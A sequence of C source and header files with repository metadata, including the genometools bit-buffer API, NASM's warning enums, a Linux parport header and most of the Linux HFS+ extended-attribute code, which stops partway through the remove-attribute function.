7c550452c78d68df44b96ff42824aaf5ab576652
|
[
"MIT"
] |
permissive
|
CaamDau/CaamDau
|
6731ba3367116ee8aafac6e321ec7a9d9b7f5f54
|
ef5f3f367083a197115d9fe8ee13dcad0c29f155
|
refs/heads/master
| 2020-12-11T23:57:43.348251
| 2020-06-17T01:47:53
| 2020-06-17T01:47:53
| 161,793,606
| 136
| 24
| null | null | null | null |
UTF-8
|
C
| false
| false
| 28
|
h
|
ViewModel.h
|
@import CaamDauViewModel;
|
57c689c713459e5ff720c22619845e715593cc27
|
3bd385b466cb035fecd2b0c11ae054d42bf44fc2
|
/src/core/bitbuffer.h
|
24bd0d72f1d9bdd024254fc4596ffd5e2f34494f
|
[
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"BSD-2-Clause",
"LicenseRef-scancode-mit-old-style",
"Zlib",
"MIT",
"BSD-3-Clause",
"bzip2-1.0.6"
] |
permissive
|
genometools/genometools
|
c366dff04f6baa887f6b3be3ec55bce824b2bae1
|
df1df94b8c05a9c9bf848ffc6755c87b58573da5
|
refs/heads/master
| 2023-04-13T13:57:18.748796
| 2023-04-09T21:29:53
| 2023-04-09T21:29:53
| 11,177,980
| 237
| 63
|
NOASSERTION
| 2023-04-09T21:29:54
| 2013-07-04T13:39:38
|
C
|
UTF-8
|
C
| false
| false
| 4,787
|
h
|
bitbuffer.h
|
/*
Copyright (c) 2013 Stefan Kurtz <kurtz@zbh.uni-hamburg.de>
Copyright (c) 2013 Center for Bioinformatics, University of Hamburg
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#ifndef BITBUFFER_H
#define BITBUFFER_H
#include <inttypes.h>
#include <stdio.h>
#include "core/types_api.h"
#include "core/unused_api.h"
/* The <GtBitbuffer> class provides means to sequentially write bit-compressed
integer arrays into a file. */
typedef struct GtBitbuffer GtBitbuffer;
/* Creates a new <GtBitbuffer> for output to <outfp>.
<bitsperentry> specifies the number of bits per entry if
greater than 0. In this case, a header is written in the input file
consisting of a <uint64_t>-value specifying the number of elements
written and a <uint8_t> value specifying the number of bits per
entry. If <bitsperentry> is 0, then no header is written and
the number of bits for the value to be written has to be specified
for each call of <gt_bitbuffer_next_value()>. */
typedef uint16_t GtBitcount_type;
GtBitbuffer *gt_bitbuffer_FILE_new(FILE *outfp,GtBitcount_type bitsperentry);
/* Creates a new <GtBitbuffer> which does not output the stream of
uint64_t values to a FILE pointer, but to a uint8_t-buffer specified
with each call of the next_value function */
GtBitbuffer *gt_bitbuffer_new(void);
/* Appends GtUword <value> of <bitsforvalue> bits to <bb>. */
void gt_bitbuffer_write_FILE(GtBitbuffer *bb, GtUword value,
GtBitcount_type bitsforvalue);
/* when the bits need to go to a bytestring rather than a FILE pointer,
the following function can be used */
void gt_bitbuffer_generic_write_FILE(GtBitbuffer *bb,
GtUword value,
GtBitcount_type bitsforvalue);
GtUword gt_bitbuffer_write_bytestring(GtBitbuffer *bb,
uint8_t *bytestring,
GtUword bytestring_offset,
GT_UNUSED GtUword bytestring_length,
GtUword value,
GtBitcount_type bitsforvalue);
GtUword gt_bitbuffer_write_bytestring_bf(GtBitbuffer *bb,
uint8_t *bytestring,
GtUword bytestring_offset,
GT_UNUSED GtUword bytestring_length,
GtUword value,
GtBitcount_type bitsforvalue);
/* Appends GtUword <value> to <bb>. Requires that <bb> has been created
with a <bitsperentry> value > 0. */
void gt_bitbuffer_write_fixed_bits_FILE(GtBitbuffer *bb,
GtUword value);
/* Appends unsigned 32-bit integer array <tab> of length <len> to <bb>. */
void gt_bitbuffer_write_uint32tab_FILE(GtBitbuffer *bb, const uint32_t *tab,
GtUword len);
/* Appends GtUword integer array <tab> of length <len> to <bb>. */
void gt_bitbuffer_write_ulongtab_FILE(GtBitbuffer *bb,
const GtUword *tab,
GtUword len);
void gt_bitbuffer_flush(bool bruteforce,GtBitbuffer *bb,uint8_t *bytestring);
/* Deletes <bb> and frees all associated memory. */
void gt_bitbuffer_delete(GtBitbuffer *bb);
GtUword gt_bitbuffer_read_bytestring(GtBitbuffer *bb,
GtUword *value,
const uint8_t *bytestring,
GtUword bytestring_offset,
GtBitcount_type bitsforvalue);
GtUword gt_bitbuffer_read_bytestring_bf(GtBitbuffer *bb,
GtUword *value,
const uint8_t *bytestring,
GtUword bytestring_offset,
GtBitcount_type bitsforvalue);
void gt_bitbuffer_reset_for_read(GtBitbuffer *bb);
#endif
|
85a75065a1440ab5154a0e44d5d3568955bfda30
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/alpha/include/asm/parport.h
|
6abd0af11f13513bf1a31c9fc7d66b31e58cafbb
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 497
|
h
|
parport.h
|
/*
* parport.h: platform-specific PC-style parport initialisation
*
* Copyright (C) 1999, 2000 Tim Waugh <tim@cyberelk.demon.co.uk>
*
* This file should only be included by drivers/parport/parport_pc.c.
*/
#ifndef _ASM_AXP_PARPORT_H
#define _ASM_AXP_PARPORT_H 1
static int parport_pc_find_isa_ports (int autoirq, int autodma);
static int parport_pc_find_nonpci_ports (int autoirq, int autodma)
{
return parport_pc_find_isa_ports (autoirq, autodma);
}
#endif /* !(_ASM_AXP_PARPORT_H) */
|
b4a84a3f6013904541f3d695ccd98f2bd198f22f
|
f1ee65fbe1ffc43c2aac45e41515f1987eb534a4
|
/src/third_party/nasm/include/warnings.h
|
93605f23d262b5bf7023ecd2f58914c06676be14
|
[
"BSD-3-Clause",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
klzgrad/naiveproxy
|
6e0d206b6f065b9311d1e12b363109f2d35cc058
|
8ef1cecadfd4e2b5d57e7ea2fa42d05717e51c2e
|
refs/heads/master
| 2023-08-20T22:42:12.511091
| 2023-06-04T03:54:34
| 2023-08-16T23:30:19
| 119,178,893
| 5,710
| 976
|
BSD-3-Clause
| 2023-08-05T10:59:59
| 2018-01-27T16:02:33
|
C++
|
UTF-8
|
C
| false
| false
| 5,375
|
h
|
warnings.h
|
#ifndef NASM_WARNINGS_H
#define NASM_WARNINGS_H
#ifndef WARN_SHR
# error "warnings.h should only be included from within error.h"
#endif
enum warn_index {
WARN_IDX_NONE = 0, /* not suppressible */
WARN_IDX_BND = 1, /* invalid BND prefixes */
WARN_IDX_DB_EMPTY = 2, /* no operand for data declaration */
WARN_IDX_ENVIRONMENT = 3, /* nonexistent environment variable */
WARN_IDX_FLOAT_DENORM = 4, /* floating point denormal */
WARN_IDX_FLOAT_OVERFLOW = 5, /* floating point overflow */
WARN_IDX_FLOAT_TOOLONG = 6, /* too many digits in floating-point number */
WARN_IDX_FLOAT_UNDERFLOW = 7, /* floating point underflow */
WARN_IDX_HLE = 8, /* invalid HLE prefixes */
WARN_IDX_LABEL_ORPHAN = 9, /* labels alone on lines without trailing `:' */
WARN_IDX_LABEL_REDEF = 10, /* label redefined to an identical value */
WARN_IDX_LABEL_REDEF_LATE = 11, /* label (re)defined during code generation */
WARN_IDX_LOCK = 12, /* LOCK prefix on unlockable instructions */
WARN_IDX_MACRO_DEFAULTS = 13, /* macros with more default than optional parameters */
WARN_IDX_MACRO_PARAMS_LEGACY = 14, /* improperly calling multi-line macro for legacy support */
WARN_IDX_MACRO_PARAMS_MULTI = 15, /* multi-line macro calls with wrong parameter count */
WARN_IDX_MACRO_PARAMS_SINGLE = 16, /* single-line macro calls with wrong parameter count */
WARN_IDX_NEGATIVE_REP = 17, /* regative %rep count */
WARN_IDX_NUMBER_OVERFLOW = 18, /* numeric constant does not fit */
WARN_IDX_OBSOLETE_NOP = 19, /* instruction obsolete and is a noop on the target CPU */
WARN_IDX_OBSOLETE_REMOVED = 20, /* instruction obsolete and removed on the target CPU */
WARN_IDX_OBSOLETE_VALID = 21, /* instruction obsolete but valid on the target CPU */
WARN_IDX_PHASE = 22, /* phase error during stabilization */
WARN_IDX_PRAGMA_BAD = 23, /* malformed %pragma */
WARN_IDX_PRAGMA_EMPTY = 24, /* empty %pragma directive */
WARN_IDX_PRAGMA_NA = 25, /* %pragma not applicable to this compilation */
WARN_IDX_PRAGMA_UNKNOWN = 26, /* unknown %pragma facility or directive */
WARN_IDX_PTR = 27, /* non-NASM keyword used in other assemblers */
WARN_IDX_REGSIZE = 28, /* register size specification ignored */
WARN_IDX_UNKNOWN_WARNING = 29, /* unknown warning in -W/-w or warning directive */
WARN_IDX_USER = 30, /* %warning directives */
WARN_IDX_WARN_STACK_EMPTY = 31, /* warning stack empty */
WARN_IDX_ZEROING = 32, /* RESx in initialized section becomes zero */
WARN_IDX_ZEXT_RELOC = 33, /* relocation zero-extended to match output format */
WARN_IDX_OTHER = 34, /* any warning not specifially mentioned above */
WARN_IDX_ALL = 35 /* all possible warnings */
};
enum warn_const {
WARN_NONE = 0 << WARN_SHR,
WARN_BND = 1 << WARN_SHR,
WARN_DB_EMPTY = 2 << WARN_SHR,
WARN_ENVIRONMENT = 3 << WARN_SHR,
WARN_FLOAT_DENORM = 4 << WARN_SHR,
WARN_FLOAT_OVERFLOW = 5 << WARN_SHR,
WARN_FLOAT_TOOLONG = 6 << WARN_SHR,
WARN_FLOAT_UNDERFLOW = 7 << WARN_SHR,
WARN_HLE = 8 << WARN_SHR,
WARN_LABEL_ORPHAN = 9 << WARN_SHR,
WARN_LABEL_REDEF = 10 << WARN_SHR,
WARN_LABEL_REDEF_LATE = 11 << WARN_SHR,
WARN_LOCK = 12 << WARN_SHR,
WARN_MACRO_DEFAULTS = 13 << WARN_SHR,
WARN_MACRO_PARAMS_LEGACY = 14 << WARN_SHR,
WARN_MACRO_PARAMS_MULTI = 15 << WARN_SHR,
WARN_MACRO_PARAMS_SINGLE = 16 << WARN_SHR,
WARN_NEGATIVE_REP = 17 << WARN_SHR,
WARN_NUMBER_OVERFLOW = 18 << WARN_SHR,
WARN_OBSOLETE_NOP = 19 << WARN_SHR,
WARN_OBSOLETE_REMOVED = 20 << WARN_SHR,
WARN_OBSOLETE_VALID = 21 << WARN_SHR,
WARN_PHASE = 22 << WARN_SHR,
WARN_PRAGMA_BAD = 23 << WARN_SHR,
WARN_PRAGMA_EMPTY = 24 << WARN_SHR,
WARN_PRAGMA_NA = 25 << WARN_SHR,
WARN_PRAGMA_UNKNOWN = 26 << WARN_SHR,
WARN_PTR = 27 << WARN_SHR,
WARN_REGSIZE = 28 << WARN_SHR,
WARN_UNKNOWN_WARNING = 29 << WARN_SHR,
WARN_USER = 30 << WARN_SHR,
WARN_WARN_STACK_EMPTY = 31 << WARN_SHR,
WARN_ZEROING = 32 << WARN_SHR,
WARN_ZEXT_RELOC = 33 << WARN_SHR,
WARN_OTHER = 34 << WARN_SHR
};
struct warning_alias {
const char *name;
enum warn_index warning;
};
#define NUM_WARNING_ALIAS 39
extern const char * const warning_name[36];
extern const char * const warning_help[36];
extern const struct warning_alias warning_alias[NUM_WARNING_ALIAS];
extern const uint8_t warning_default[35];
extern uint8_t warning_state[35];
#endif /* NASM_WARNINGS_H */
|
2072ec30745409fae59c30720c8906f0f2986896
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/fs/hfsplus/xattr.c
|
f66346155df5cc17f5189760c6ad4d17ee08e979
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 18,494
|
c
|
xattr.c
|
/*
* linux/fs/hfsplus/xattr.c
*
* Vyacheslav Dubeyko <slava@dubeyko.com>
*
* Logic of processing extended attributes
*/
#include "hfsplus_fs.h"
#include "xattr.h"
const struct xattr_handler *hfsplus_xattr_handlers[] = {
&hfsplus_xattr_osx_handler,
&hfsplus_xattr_user_handler,
&hfsplus_xattr_trusted_handler,
&hfsplus_xattr_security_handler,
NULL
};
static int strcmp_xattr_finder_info(const char *name)
{
if (name) {
return strncmp(name, HFSPLUS_XATTR_FINDER_INFO_NAME,
sizeof(HFSPLUS_XATTR_FINDER_INFO_NAME));
}
return -1;
}
static int strcmp_xattr_acl(const char *name)
{
if (name) {
return strncmp(name, HFSPLUS_XATTR_ACL_NAME,
sizeof(HFSPLUS_XATTR_ACL_NAME));
}
return -1;
}
static inline int is_known_namespace(const char *name)
{
if (strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN) &&
strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN) &&
strncmp(name, XATTR_SECURITY_PREFIX, XATTR_SECURITY_PREFIX_LEN) &&
strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN))
return false;
return true;
}
static int can_set_xattr(struct inode *inode, const char *name,
const void *value, size_t value_len)
{
if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN))
return -EOPNOTSUPP; /* TODO: implement ACL support */
if (!strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN)) {
/*
* This makes sure that we aren't trying to set an
* attribute in a different namespace by prefixing it
* with "osx."
*/
if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN))
return -EOPNOTSUPP;
return 0;
}
/*
* Don't allow setting an attribute in an unknown namespace.
*/
if (strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN) &&
strncmp(name, XATTR_SECURITY_PREFIX, XATTR_SECURITY_PREFIX_LEN) &&
strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN))
return -EOPNOTSUPP;
return 0;
}
int __hfsplus_setxattr(struct inode *inode, const char *name,
const void *value, size_t size, int flags)
{
int err = 0;
struct hfs_find_data cat_fd;
hfsplus_cat_entry entry;
u16 cat_entry_flags, cat_entry_type;
u16 folder_finderinfo_len = sizeof(struct DInfo) +
sizeof(struct DXInfo);
u16 file_finderinfo_len = sizeof(struct FInfo) +
sizeof(struct FXInfo);
if ((!S_ISREG(inode->i_mode) &&
!S_ISDIR(inode->i_mode)) ||
HFSPLUS_IS_RSRC(inode))
return -EOPNOTSUPP;
err = can_set_xattr(inode, name, value, size);
if (err)
return err;
if (strncmp(name, XATTR_MAC_OSX_PREFIX,
XATTR_MAC_OSX_PREFIX_LEN) == 0)
name += XATTR_MAC_OSX_PREFIX_LEN;
if (value == NULL) {
value = "";
size = 0;
}
err = hfs_find_init(HFSPLUS_SB(inode->i_sb)->cat_tree, &cat_fd);
if (err) {
pr_err("can't init xattr find struct\n");
return err;
}
err = hfsplus_find_cat(inode->i_sb, inode->i_ino, &cat_fd);
if (err) {
pr_err("catalog searching failed\n");
goto end_setxattr;
}
if (!strcmp_xattr_finder_info(name)) {
if (flags & XATTR_CREATE) {
pr_err("xattr exists yet\n");
err = -EOPNOTSUPP;
goto end_setxattr;
}
hfs_bnode_read(cat_fd.bnode, &entry, cat_fd.entryoffset,
sizeof(hfsplus_cat_entry));
if (be16_to_cpu(entry.type) == HFSPLUS_FOLDER) {
if (size == folder_finderinfo_len) {
memcpy(&entry.folder.user_info, value,
folder_finderinfo_len);
hfs_bnode_write(cat_fd.bnode, &entry,
cat_fd.entryoffset,
sizeof(struct hfsplus_cat_folder));
hfsplus_mark_inode_dirty(inode,
HFSPLUS_I_CAT_DIRTY);
} else {
err = -ERANGE;
goto end_setxattr;
}
} else if (be16_to_cpu(entry.type) == HFSPLUS_FILE) {
if (size == file_finderinfo_len) {
memcpy(&entry.file.user_info, value,
file_finderinfo_len);
hfs_bnode_write(cat_fd.bnode, &entry,
cat_fd.entryoffset,
sizeof(struct hfsplus_cat_file));
hfsplus_mark_inode_dirty(inode,
HFSPLUS_I_CAT_DIRTY);
} else {
err = -ERANGE;
goto end_setxattr;
}
} else {
err = -EOPNOTSUPP;
goto end_setxattr;
}
goto end_setxattr;
}
if (!HFSPLUS_SB(inode->i_sb)->attr_tree) {
err = -EOPNOTSUPP;
goto end_setxattr;
}
if (hfsplus_attr_exists(inode, name)) {
if (flags & XATTR_CREATE) {
pr_err("xattr exists yet\n");
err = -EOPNOTSUPP;
goto end_setxattr;
}
err = hfsplus_delete_attr(inode, name);
if (err)
goto end_setxattr;
err = hfsplus_create_attr(inode, name, value, size);
if (err)
goto end_setxattr;
} else {
if (flags & XATTR_REPLACE) {
pr_err("cannot replace xattr\n");
err = -EOPNOTSUPP;
goto end_setxattr;
}
err = hfsplus_create_attr(inode, name, value, size);
if (err)
goto end_setxattr;
}
cat_entry_type = hfs_bnode_read_u16(cat_fd.bnode, cat_fd.entryoffset);
if (cat_entry_type == HFSPLUS_FOLDER) {
cat_entry_flags = hfs_bnode_read_u16(cat_fd.bnode,
cat_fd.entryoffset +
offsetof(struct hfsplus_cat_folder, flags));
cat_entry_flags |= HFSPLUS_XATTR_EXISTS;
if (!strcmp_xattr_acl(name))
cat_entry_flags |= HFSPLUS_ACL_EXISTS;
hfs_bnode_write_u16(cat_fd.bnode, cat_fd.entryoffset +
offsetof(struct hfsplus_cat_folder, flags),
cat_entry_flags);
hfsplus_mark_inode_dirty(inode, HFSPLUS_I_CAT_DIRTY);
} else if (cat_entry_type == HFSPLUS_FILE) {
cat_entry_flags = hfs_bnode_read_u16(cat_fd.bnode,
cat_fd.entryoffset +
offsetof(struct hfsplus_cat_file, flags));
cat_entry_flags |= HFSPLUS_XATTR_EXISTS;
if (!strcmp_xattr_acl(name))
cat_entry_flags |= HFSPLUS_ACL_EXISTS;
hfs_bnode_write_u16(cat_fd.bnode, cat_fd.entryoffset +
offsetof(struct hfsplus_cat_file, flags),
cat_entry_flags);
hfsplus_mark_inode_dirty(inode, HFSPLUS_I_CAT_DIRTY);
} else {
pr_err("invalid catalog entry type\n");
err = -EIO;
goto end_setxattr;
}
end_setxattr:
hfs_find_exit(&cat_fd);
return err;
}
static inline int is_osx_xattr(const char *xattr_name)
{
return !is_known_namespace(xattr_name);
}
static int name_len(const char *xattr_name, int xattr_name_len)
{
int len = xattr_name_len + 1;
if (is_osx_xattr(xattr_name))
len += XATTR_MAC_OSX_PREFIX_LEN;
return len;
}
static int copy_name(char *buffer, const char *xattr_name, int name_len)
{
int len = name_len;
int offset = 0;
if (is_osx_xattr(xattr_name)) {
strncpy(buffer, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN);
offset += XATTR_MAC_OSX_PREFIX_LEN;
len += XATTR_MAC_OSX_PREFIX_LEN;
}
strncpy(buffer + offset, xattr_name, name_len);
memset(buffer + offset + name_len, 0, 1);
len += 1;
return len;
}
static ssize_t hfsplus_getxattr_finder_info(struct dentry *dentry,
void *value, size_t size)
{
ssize_t res = 0;
struct inode *inode = dentry->d_inode;
struct hfs_find_data fd;
u16 entry_type;
u16 folder_rec_len = sizeof(struct DInfo) + sizeof(struct DXInfo);
u16 file_rec_len = sizeof(struct FInfo) + sizeof(struct FXInfo);
u16 record_len = max(folder_rec_len, file_rec_len);
u8 folder_finder_info[sizeof(struct DInfo) + sizeof(struct DXInfo)];
u8 file_finder_info[sizeof(struct FInfo) + sizeof(struct FXInfo)];
if (size >= record_len) {
res = hfs_find_init(HFSPLUS_SB(inode->i_sb)->cat_tree, &fd);
if (res) {
pr_err("can't init xattr find struct\n");
return res;
}
res = hfsplus_find_cat(inode->i_sb, inode->i_ino, &fd);
if (res)
goto end_getxattr_finder_info;
entry_type = hfs_bnode_read_u16(fd.bnode, fd.entryoffset);
if (entry_type == HFSPLUS_FOLDER) {
hfs_bnode_read(fd.bnode, folder_finder_info,
fd.entryoffset +
offsetof(struct hfsplus_cat_folder, user_info),
folder_rec_len);
memcpy(value, folder_finder_info, folder_rec_len);
res = folder_rec_len;
} else if (entry_type == HFSPLUS_FILE) {
hfs_bnode_read(fd.bnode, file_finder_info,
fd.entryoffset +
offsetof(struct hfsplus_cat_file, user_info),
file_rec_len);
memcpy(value, file_finder_info, file_rec_len);
res = file_rec_len;
} else {
res = -EOPNOTSUPP;
goto end_getxattr_finder_info;
}
} else
res = size ? -ERANGE : record_len;
end_getxattr_finder_info:
if (size >= record_len)
hfs_find_exit(&fd);
return res;
}
ssize_t hfsplus_getxattr(struct dentry *dentry, const char *name,
void *value, size_t size)
{
struct inode *inode = dentry->d_inode;
struct hfs_find_data fd;
hfsplus_attr_entry *entry;
__be32 xattr_record_type;
u32 record_type;
u16 record_length = 0;
ssize_t res = 0;
if ((!S_ISREG(inode->i_mode) &&
!S_ISDIR(inode->i_mode)) ||
HFSPLUS_IS_RSRC(inode))
return -EOPNOTSUPP;
if (strncmp(name, XATTR_MAC_OSX_PREFIX,
XATTR_MAC_OSX_PREFIX_LEN) == 0) {
/* skip "osx." prefix */
name += XATTR_MAC_OSX_PREFIX_LEN;
/*
* Don't allow retrieving properly prefixed attributes
* by prepending them with "osx."
*/
if (is_known_namespace(name))
return -EOPNOTSUPP;
}
if (!strcmp_xattr_finder_info(name))
return hfsplus_getxattr_finder_info(dentry, value, size);
if (!HFSPLUS_SB(inode->i_sb)->attr_tree)
return -EOPNOTSUPP;
entry = hfsplus_alloc_attr_entry();
if (!entry) {
pr_err("can't allocate xattr entry\n");
return -ENOMEM;
}
res = hfs_find_init(HFSPLUS_SB(inode->i_sb)->attr_tree, &fd);
if (res) {
pr_err("can't init xattr find struct\n");
goto failed_getxattr_init;
}
res = hfsplus_find_attr(inode->i_sb, inode->i_ino, name, &fd);
if (res) {
if (res == -ENOENT)
res = -ENODATA;
else
pr_err("xattr searching failed\n");
goto out;
}
hfs_bnode_read(fd.bnode, &xattr_record_type,
fd.entryoffset, sizeof(xattr_record_type));
record_type = be32_to_cpu(xattr_record_type);
if (record_type == HFSPLUS_ATTR_INLINE_DATA) {
record_length = hfs_bnode_read_u16(fd.bnode,
fd.entryoffset +
offsetof(struct hfsplus_attr_inline_data,
length));
if (record_length > HFSPLUS_MAX_INLINE_DATA_SIZE) {
pr_err("invalid xattr record size\n");
res = -EIO;
goto out;
}
} else if (record_type == HFSPLUS_ATTR_FORK_DATA ||
record_type == HFSPLUS_ATTR_EXTENTS) {
pr_err("only inline data xattr are supported\n");
res = -EOPNOTSUPP;
goto out;
} else {
pr_err("invalid xattr record\n");
res = -EIO;
goto out;
}
if (size) {
hfs_bnode_read(fd.bnode, entry, fd.entryoffset,
offsetof(struct hfsplus_attr_inline_data,
raw_bytes) + record_length);
}
if (size >= record_length) {
memcpy(value, entry->inline_data.raw_bytes, record_length);
res = record_length;
} else
res = size ? -ERANGE : record_length;
out:
hfs_find_exit(&fd);
failed_getxattr_init:
hfsplus_destroy_attr_entry(entry);
return res;
}
static inline int can_list(const char *xattr_name)
{
if (!xattr_name)
return 0;
return strncmp(xattr_name, XATTR_TRUSTED_PREFIX,
XATTR_TRUSTED_PREFIX_LEN) ||
capable(CAP_SYS_ADMIN);
}
static ssize_t hfsplus_listxattr_finder_info(struct dentry *dentry,
char *buffer, size_t size)
{
ssize_t res = 0;
struct inode *inode = dentry->d_inode;
struct hfs_find_data fd;
u16 entry_type;
u8 folder_finder_info[sizeof(struct DInfo) + sizeof(struct DXInfo)];
u8 file_finder_info[sizeof(struct FInfo) + sizeof(struct FXInfo)];
unsigned long len, found_bit;
int xattr_name_len, symbols_count;
res = hfs_find_init(HFSPLUS_SB(inode->i_sb)->cat_tree, &fd);
if (res) {
pr_err("can't init xattr find struct\n");
return res;
}
res = hfsplus_find_cat(inode->i_sb, inode->i_ino, &fd);
if (res)
goto end_listxattr_finder_info;
entry_type = hfs_bnode_read_u16(fd.bnode, fd.entryoffset);
if (entry_type == HFSPLUS_FOLDER) {
len = sizeof(struct DInfo) + sizeof(struct DXInfo);
hfs_bnode_read(fd.bnode, folder_finder_info,
fd.entryoffset +
offsetof(struct hfsplus_cat_folder, user_info),
len);
found_bit = find_first_bit((void *)folder_finder_info, len*8);
} else if (entry_type == HFSPLUS_FILE) {
len = sizeof(struct FInfo) + sizeof(struct FXInfo);
hfs_bnode_read(fd.bnode, file_finder_info,
fd.entryoffset +
offsetof(struct hfsplus_cat_file, user_info),
len);
found_bit = find_first_bit((void *)file_finder_info, len*8);
} else {
res = -EOPNOTSUPP;
goto end_listxattr_finder_info;
}
if (found_bit >= (len*8))
res = 0;
else {
symbols_count = sizeof(HFSPLUS_XATTR_FINDER_INFO_NAME) - 1;
xattr_name_len =
name_len(HFSPLUS_XATTR_FINDER_INFO_NAME, symbols_count);
if (!buffer || !size) {
if (can_list(HFSPLUS_XATTR_FINDER_INFO_NAME))
res = xattr_name_len;
} else if (can_list(HFSPLUS_XATTR_FINDER_INFO_NAME)) {
if (size < xattr_name_len)
res = -ERANGE;
else {
res = copy_name(buffer,
HFSPLUS_XATTR_FINDER_INFO_NAME,
symbols_count);
}
}
}
end_listxattr_finder_info:
hfs_find_exit(&fd);
return res;
}
ssize_t hfsplus_listxattr(struct dentry *dentry, char *buffer, size_t size)
{
ssize_t err;
ssize_t res = 0;
struct inode *inode = dentry->d_inode;
struct hfs_find_data fd;
u16 key_len = 0;
struct hfsplus_attr_key attr_key;
char strbuf[HFSPLUS_ATTR_MAX_STRLEN +
XATTR_MAC_OSX_PREFIX_LEN + 1] = {0};
int xattr_name_len;
if ((!S_ISREG(inode->i_mode) &&
!S_ISDIR(inode->i_mode)) ||
HFSPLUS_IS_RSRC(inode))
return -EOPNOTSUPP;
res = hfsplus_listxattr_finder_info(dentry, buffer, size);
if (res < 0)
return res;
else if (!HFSPLUS_SB(inode->i_sb)->attr_tree)
return (res == 0) ? -EOPNOTSUPP : res;
err = hfs_find_init(HFSPLUS_SB(inode->i_sb)->attr_tree, &fd);
if (err) {
pr_err("can't init xattr find struct\n");
return err;
}
err = hfsplus_find_attr(inode->i_sb, inode->i_ino, NULL, &fd);
if (err) {
if (err == -ENOENT) {
if (res == 0)
res = -ENODATA;
goto end_listxattr;
} else {
res = err;
goto end_listxattr;
}
}
for (;;) {
key_len = hfs_bnode_read_u16(fd.bnode, fd.keyoffset);
if (key_len == 0 || key_len > fd.tree->max_key_len) {
pr_err("invalid xattr key length: %d\n", key_len);
res = -EIO;
goto end_listxattr;
}
hfs_bnode_read(fd.bnode, &attr_key,
fd.keyoffset, key_len + sizeof(key_len));
if (be32_to_cpu(attr_key.cnid) != inode->i_ino)
goto end_listxattr;
xattr_name_len = HFSPLUS_ATTR_MAX_STRLEN;
if (hfsplus_uni2asc(inode->i_sb,
(const struct hfsplus_unistr *)&fd.key->attr.key_name,
strbuf, &xattr_name_len)) {
pr_err("unicode conversion failed\n");
res = -EIO;
goto end_listxattr;
}
if (!buffer || !size) {
if (can_list(strbuf))
res += name_len(strbuf, xattr_name_len);
} else if (can_list(strbuf)) {
if (size < (res + name_len(strbuf, xattr_name_len))) {
res = -ERANGE;
goto end_listxattr;
} else
res += copy_name(buffer + res,
strbuf, xattr_name_len);
}
if (hfs_brec_goto(&fd, 1))
goto end_listxattr;
}
end_listxattr:
hfs_find_exit(&fd);
return res;
}
int hfsplus_removexattr(struct dentry *dentry, const char *name)
{
int err = 0;
struct inode *inode = dentry->d_inode;
struct hfs_find_data cat_fd;
u16 flags;
u16 cat_entry_type;
int is_xattr_acl_deleted = 0;
int is_all_xattrs_deleted = 0;
if ((!S_ISREG(inode->i_mode) &&
!S_ISDIR(inode->i_mode)) ||
HFSPLUS_IS_RSRC(inode))
return -EOPNOTSUPP;
if (!HFSPLUS_SB(inode->i_sb)->attr_tree)
return -EOPNOTSUPP;
err = can_set_xattr(inode, name, NULL, 0);
if (err)
return err;
if (strncmp(name, XATTR_MAC_OSX_PREFIX,
XATTR_MAC_OSX_PREFIX_LEN) == 0)
name += XATTR_MAC_OSX_PREFIX_LEN;
if (!strcmp_xattr_finder_info(name))
return -EOPNOTSUPP;
err = hfs_find_init(HFSPLUS_SB(inode->i_sb)->cat_tree, &cat_fd);
if (err) {
pr_err("can't init xattr find struct\n");
return err;
}
err = hfsplus_find_cat(inode->i_sb, inode->i_ino, &cat_fd);
if (err) {
pr_err("catalog searching failed\n");
goto end_removexattr;
}
err = hfsplus_delete_attr(inode, name);
if (err)
